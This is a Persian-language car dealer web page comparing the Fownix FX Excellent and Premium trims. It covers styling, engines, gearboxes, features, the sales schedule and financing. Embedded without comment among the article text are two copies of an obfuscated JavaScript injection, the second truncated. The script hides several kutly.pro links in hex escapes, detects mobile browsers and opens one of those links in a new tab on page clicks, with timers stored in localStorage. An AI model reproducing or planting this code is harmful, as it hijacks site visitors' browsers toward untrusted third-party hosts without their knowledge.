دارای 5 سال یا 150.000 کیلومتر گارانتی و 2 سال یا 6 نوبت سرویس رایگان است و شبکه خدمات پس از فروش گسترده ای در کشور دارد. خودرویی پر شتاب و پر قدرت است که 197 اسب بخار قدرت و 290 نیوتن متر گشتاور تولید می کند و 0 تا 100 کیلومتر را در کمتر از 8 ثانیه طی می کند. قدرت و شتاب بالا، نیاز به ایمنی و ترمز های خوب هم دارند که این خودرو دارای 5 ستاره ایمنی از موسسات اروپایی است، جایی که خودروهایی مانند ولوو که ایمن ترین خودروهای روز دنیا هستند تست می شوند.

نتیجه گیری

فونیکس اف ایکس یک کراس اوور شهری بسیار جا دار است و مناسب خانواده و جوانان است، البته این خودرو به دلیل زاویه زیاد ورود، خروج و گشتاور بالا، عملکرد خوبی در مسیرهای ناهموار هم دارد. طراحی فونیکس اف ایکس هم یک سر و گردن از تمامی خودروهای ذکر شده بالاتر است. همچنین از لحاظ جهانی مطابق با خودروهای آینده طراحی شده، از لحاظ آپشن هم این خودرو یکی از پر آپشن ترین محصولات بازار ایران است و مجهز به سیستم های نیمه خودران نیز است.
نکته بسیار حائز اهمیتاین است  که بر خلاف خودروهای ذکر شده، فونیکس اف ایکس دارای تسهیلات است و شما می توانید نصف مبلغ خودرو را پرداخت کنید و مابقی مبلغ خودرو را به صورت اقساط پرداخت کنید و صاحب خاص ترین خودروی بازار ایران شوید .

همین حالا ثبت نام کنید، کارشناسان ما در اولین فرصت با شما ارتباط برقرار خواهند کرد.

انتخاب کنیدTIGGO 8 PRO +ETIGGO 8 PROMAX IEFXTIGGO 7 PROTIGGO 7 PRO PREMIUMTIGGO 7 PROMAXARRIZO 6 PROARRIZO 6 GTX55 PROX55 PRO IEARRIZO 5 SPORTARRIZO 5 FLARRIZO 5 TurboX33 CROSS CVTX33 CROSS MTX22 PRO IEX22 PRO MT
نقدیاقساط
gform.initializeOnLoaded( function() {gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery('#gform_ajax_frame_36').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_36');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_36').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_36').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_36').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_36').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_36').val();gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [36, current_page]);window['gf_submitting_36'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}setTimeout(function(){jQuery('#gform_wrapper_36').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [36]);window['gf_submitting_36'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_36').text());}, 50);}else{jQuery('#gform_36').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger('gform_post_render', [36, current_page]);} );} );


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

تفاوت های اف ایکس اکسلنت و پریمیوم

به تازگی شرکت مدیران خودرو یک رونمایی جذاب از دو خودروی فونیکس FX اکسلنت و پریمیوم کرده است که در این مقاله قصد داریم به معرفی تفاوت ها و مشخصات فنی و ظاهری این دو خودرو بپردازیم و در نهایت به یک جمع بندی کلی از هر دو خودرو اف ایکس اکسلنت و پریمیوم خواهیم پرداخت .

خودروی فونیکس اف ایکس اکسلنت و پریمیوم ، خودروی های ارائه شده از سوی مدیران خودرو که در دی ماه و بهمن ماه سال جاری به بازار خودرو عرضه می شوند . این دو خودرو از لحاظ مشخصات ظاهری بیرونی و درونی یکسان بوده و تنها در مشخصات فنی و برخی امکانات ایمنی و رفاهی با هم تفاوت دارند .

از آن جایی که برای یک خرید هوشمندانه، ابتدا باید با تفاوت ها و مزایا و معایب هر کدام از نسخه های این خودرو به خوبی آشنا باشید؛ پیشنهاد می کنیم این مقاله را به دقت مطالعه بفرمایید .

اف ایکس اکسلنت و پریمیوم

طراحی بیرونی خودرو فونیکس اف ایکس اکسلنت و پریمیوم

دو خودروی اف ایکس اکسلنت و پریمیوم هر دو دارای یک طراحی بیرونی یا ظاهری هستند و از این نظر متفاوت نیستند . شرکت چری برای نخستین بار در سال 2021 این خودرو را در نمایشگاه خودرو گوانگجو چین به نمایش گذاشت که بسیار مورد تحسین قرار گرفت .

خودروهای فونیکس اف ایکس اکسلنت و پریمیوم مطابق ترند روز که ظاهری منحصربه فرد، جذاب و مدرن دارد .

  • طراحی نمای جلوی خودرو

پنجره بزرگ در نمای جلوی این خودرو تعبیه شده که از دو طرف خود متصل به چراغ های ال ای دی باریک هستند . وظیفه این چراغ ها ، روشنایی در روز است .

چراغ های اصلی خودرو درون یک قاب قرار گرفته و به همراه چراغ های مه شکن روی سپر خودرو نصب شده اند . همچنین یک دیفیزور مشکی روی سپر جلوی خودرو نصب شده که جذابیت بصری نمای جلویی خودرو را تا حد زیادی افزایش داده است .

  • طراحی نمای کناری خودرو

اولین چیزی که در نمای کناری خودرو توجه شما را به سوی خود جلب می کند ، زاویه زیاد خط سقف است. زاویه موجب شده تا خودرو فونیکس اف ایکس به خودروهای شاسی بلند کوپه شباهت داشته باشد .

طراحان قصد داشتند سادگی را در طراحی نمای کناری خودرو حفظ کنند. ما شاهد خطوط شکسته زیادی در این بخش از خودرو نیستیم . همچنین یک سری رینگ های بزرگ تیره رنگ با خطوط قرمز در داخل یک نمای منحصربه فرد و شگفت انگیز را برای نمای کناری خودرو به ارمغان آورده است .

از دیگر جذابیت های بخش کناری خودرو، تعبیه ستون ها و سقف مشکی رنگ است که در کنار برجستگی گلگیرها یک نمای مدرن و شیک به این بخش از خودرو داده است .

  • طراحی نمای عقب خودرو فونیکس اف ایکس

نمای عقب خودرو به شکلی هنرمندانه طراحی شده که با نمای کناری و جلویی خودرو هماهنگی کامل دارد .

همچنین شاهد به هم پیوستگی چراغ های اصلی خودرو هستیم که با گرافیک جذاب و خاص خود ، موجب جذابیت هرچه بیشتر نمای عقب خودرو شده اند .

یکی دیگر از آیتم های مدرن و جذاب نمای عقب ، شیشه آن است که از مزایای آن می توان به زاویه دید زیاد اشاره کرد .

همچنین در صندوق تعبیه شده با خطوط شکسته از دیگر ویژگی های جذاب نمای عقب خودرو فونیکس اف ایکس به شمار می رود .

و یکی دیگر از ویژگی های منحصربه فرد بخش عقب این خودرو، دیفیوزر عقب آن است که دارای دو خروجی دو گانه اگزوز می باشد .

اف ایکس اکسلنت و پریمیوم

طراحی داخلی خودرو فونیکس اف ایکس

طراحی داخلی دو خودروی فونیکس اف ایکس اکسلنت و اف ایکس پریمیوم مشابه یک دیگر بوده و از این نظر هم سطح هستند .

طراح مدرن و منحصربه فرد کابین این شاسی بلند مسحور کننده است ؛ به طوری که با ورود به داخل خودرو ابتدا با یک صفحه نمایش بزرگ مالتی مدیا با صفحه کلاستر دیجیتال مواجه می شوید .

از دیگر ویژگی های خاص کابین جلویی می توان به فرمان D کات ، غربیلک سه شاخه به همراه کلیدهای کنترلی اشاره کرد که طراحی داخلی این خودرو را جذاب و کاربردی کرده است .

  • طراحی داشبورد میانی خودرو

در این قسمت از خودرو یک لیور دنده الکتریکی را شاهد هستیم که یک فضای خالی زیر کنسول میانی ایجاد کرده است .

  • فضای داخلی خودرو

طراحی خودرو فونیکس اف ایکسبه صورتی است که تا فضای مناسبی برای نشستن سرنشینان فراهم شود. به این ترتیب می توانید به همراه خانواده خود مسافت های طولانی را سفر کنید بدون اینکه خسته شوید .

از آن جایی که متریال به کار رفته در ساخت این خودرو در سطح بالایی قرار دارد ، راحتی و آرامش را برای سرنشینان به همراه می آورد .

 

مشخصات فنی فونیکس اف ایکس اکسلنت و پریمیوم

تا اینجا به بررسی مشخصات ظاهری و طراحی داخلی و خارجی این خودرو پرداختیم و دانستیم که این دو خودرو از لحاظ مشخصات داخلی و خارجی با هم تفاوتی ندارند. با این حال تفاوت دو خودروی فونیکس اف ایکس اکسلنت و پریمیوم در مشخصات فنی آنهاست.

همانطور که می دانید فونیکس اف ایکس اکسلنت به عنوان نسخه پایه و فونیکس اف ایکس پریمیوم به عنوان نسخه بالاتر توسط مدیران خودرو به بازار عرضه می شوند.

 

  • مشخصات فنی فونیکس اف ایکس اکسلنت

این نوع فونیکس دارای یک موتور 1.5 لیتری توربوشارژ بوده که قدرتی برابر با 156 اسب بخار و گشتاور 230 نیوتن متر دارد . از دیگر مشخصات فنی خاص این خودرو می توان به گیربکس اتوماتیک CVT با شبیه سازی 9 سرعت نیز اشاره کرد . این گیربکس قدرت تولیدی را از موتور گرفته و به چرخ های جلویی انتقال می دهد .

خودروی فونیکس اف ایکس اکسلنت دارای دو حالت رانندگی اکو و اسپرت است که به ازای هر 100 کیلومتر، حدود 7.1 لیتر سوخت به مصرف می رساند .

سیستم تعلیق جلویی این خودرو از نوع مک فرسون و سیستم تعلیق عقبی آن از نوع تورشن بیم می باشد .

خودروی فونیکس اف ایکس اکسلنت در سطخ فونیکس تیگو 7 پرو و ام وی ام ایکس 55 پرو از لحاظ مشخصات فنی قرار دارد .

  • مشخصات فنی خودرو فونیکس اف ایکس پریمیوم

این خودرو دارای موتور 1.6 لیتری TGDI بوده و معادل 197 اسب بخار و گشتاور 290 نیوتن متر قدرت دارند . تعبیه گیربکس 7 سرعته دو کلاچه شرکت گتراک موجب شده است تا قدرت تولیدی از پیشرانه به سمت چرخ های جلو انتقال پیدا کند .

خودروی فونیکس اف ایکس پریمیوم دارای سه حالت رانندگی نرمال، اکو و اسپرت است که به ازای هر 100 کیلومتر، حدود 7.8 لیتر سوخت مصرف می کند .

از دیگر خصوصیات فنی این خودرو می توان به سیستم تعلیق این خودرو اشاره کرد . سیستم تعلیق در قسمت جلوی خودرو فونیکس اف ایکس پریمیوم از نوع مک فرسون بوده و این سیستم در بخش عقبی خودرو از نوع مولتی لینک می باشد به این ترتیب سرنشینان می توانند سفر آرام و امنی را تجربه کنند .

اف ایکس اکسلنت و پریمیوم

امکانات رفاهی خودرو فونیکس اف ایکس اکسلنت و پریمیوم

از دیگر خصوصیات مورد اهمیت یک خودرو، امکانات رفاهی و ایمنی آن است که در این بخش از مقاله به بررسی آنها می پردازیم .

  • از لحاظ امکانات رفاهی و ایمنی، دو خودروی اف ایکس اکسلنت و پریمیوم در یک سطح قرار داشته و تفاوت فاحشی با هم ندارند ؛ به طوری که شما می توانید با خرید خودروی اکسلنت از امکانات رفاهی و ایمنی مشابه با نسخه پریمیوم بهره مند شوید .
  • خودرو فونیکس اف ایکس توانسته 5 ستاره ایمنی در تست های موسسه ایمنی یورو انکپ به دست آورد ابه معنی ایمنی بسیار بالای این خودرو است .

همچنین سایر امکانات رفاهی منحصربه فرد خودروی فونیکس اف ایکس شامل موارد زیر هستند :

  • چراغ های ال ای دی
  • کروز کنترل تطبیقی
  • سامانه رانندگی خودران سطح 2.5
  • سامانه رانندگی خودکار بین خطوط
  • رادار خطی و رادار نقطه کور
  • سنسور باران و سنسور نور
  • سامانه کنترل پایداری الکتریکی
  • 6 ایربگ هوای 10 نقطه ای
  • رینگ آلومینیومی 18 اینچی دو رنگ
  • ترمز اضطراری اتوماتیک
  • سامانه اخطار برخورد از جلو
  • فرمان پذیر صوتی تجهیزات الکتریکی خودرو
  • استارت دکمه ای
  • نورپردازی کابین
  • در صندوق عقب برقی
  • سانروف
  • سیستم صوتی سونی
  • شارژر وایرلس موبایل
  • اتوهلد
  • ترمز پارک برقی
  • دسته دنده الکتریکی
  • نمایشگر مالتی مدیا لمسی
  • دوربین 360 درجه
  • فرمان کمکی برقی
  • سردکن و گرم کن صندلی جلو
  • صندلی برقی راننده و شاگرد
  • سیستم پاکسازی هوای کابین و تهویه اتوماتیک دو کاناله

فونیکس اف ایکس با چند تیپ به بازار می آید؟

فونیکس اف ایکس با 4 تیپ به بازار آمد . تیپ اکسلنت نسخه پایه و تیپ پریمیوم نسخه بالاتر آن است . تیپ سوم آن شامل کراس اوور مونتاژی و چینی نمونه دو دیفرانسیل نسخه پریمیوم بوده و تیپ چهارم یک کراس اوور پلاگین هیبرید چهار چرخ محرک هستند .

قیمت و زمان عرضه خودرو فونیکس اف ایکس

فروش خودرو اف ایکس در نسخه اکسلنت از سوی مدیران خودرو در دی ماه و فروش نسخه پریمیوم فونیکس اف ایکس از بهمن ماه آغاز خواهد شد . مدیران خودرو اعلام کرده است که فروش دو نسخه دیگر این خودرو را از سال 1402 شروع خواهد کرد .

نمایندگی 777 مدیران خودرو

نمایندگی مدیران خودرو 777 فعالیت خود را با افتتاح اولین شعبه در سعادت آباد تهران در سال 1396 آغاز کرده و تاکنون توانسته شعبه هایی در سراسر کشور افتتاح کند . سالها سابقه درخشان و ارائه خدمات منحصربه فرد و در اولویت قرار دادن نیاز مشتری ، توانسته رتبه یک فروش محصولات مدیران خودرو را به خود اختصاص دهد . شما می توانید برای اطلاع از نحوه فروش و قیمت خودرو فونیکس اف ایکس اکسلنت یا پریمیوم با کارشناسان ما در  در ارتباط باشید .

برای دیدن شرایط فروش محصولات فونیکس کلیک کنید …

جمع بندی

در این مقاله به بررسی تفاوت بین دو نسخه خودرو فونیکس اف ایکس تحت عنوان اکسلنت و پریمیوم اشاره کردیم . شما می توانید سوالات و نظرات خود را در این باره در بخش نظرات با ما در میان بگذارید تا در اسرع وقت پاسخ دهیم . سپاس از اینکه همراهمان هستید.


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 